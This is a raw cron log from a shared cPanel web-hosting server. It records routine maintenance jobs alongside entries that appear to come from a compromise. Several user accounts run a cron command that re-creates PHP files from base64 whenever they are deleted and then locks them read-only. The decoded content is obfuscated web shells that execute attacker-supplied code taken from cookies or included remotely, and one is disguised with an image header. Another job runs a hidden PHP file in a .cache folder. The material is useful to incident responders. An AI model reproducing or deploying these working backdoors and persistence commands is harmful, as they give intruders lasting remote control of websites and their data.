Mar  2 05:06:01 medusa CROND[12448]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:06:01 medusa CROND[12450]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:06:01 medusa CROND[12454]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 05:06:01 medusa CROND[12455]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 05:06:01 medusa CROND[12457]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 05:06:01 medusa CROND[12469]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:06:01 medusa CROND[12473]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:06:01 medusa CROND[12468]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:06:01 medusa CROND[12482]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:07:01 medusa CROND[31852]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:07:01 medusa CROND[32133]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:07:01 medusa CROND[32134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:07:01 medusa CROND[32136]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 05:07:01 medusa CROND[32138]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:07:01 medusa CROND[32142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:07:01 medusa CROND[32145]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:07:01 medusa CROND[32146]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:07:01 medusa CROND[32147]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:07:01 medusa CROND[32150]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:07:01 medusa CROND[32148]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:07:01 medusa CROND[32159]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:08:01 medusa CROND[20125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:08:01 medusa CROND[20154]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:08:01 medusa CROND[20157]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 05:08:01 medusa CROND[20158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:08:01 medusa CROND[20160]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 05:08:01 medusa CROND[20163]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:08:01 medusa CROND[20173]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
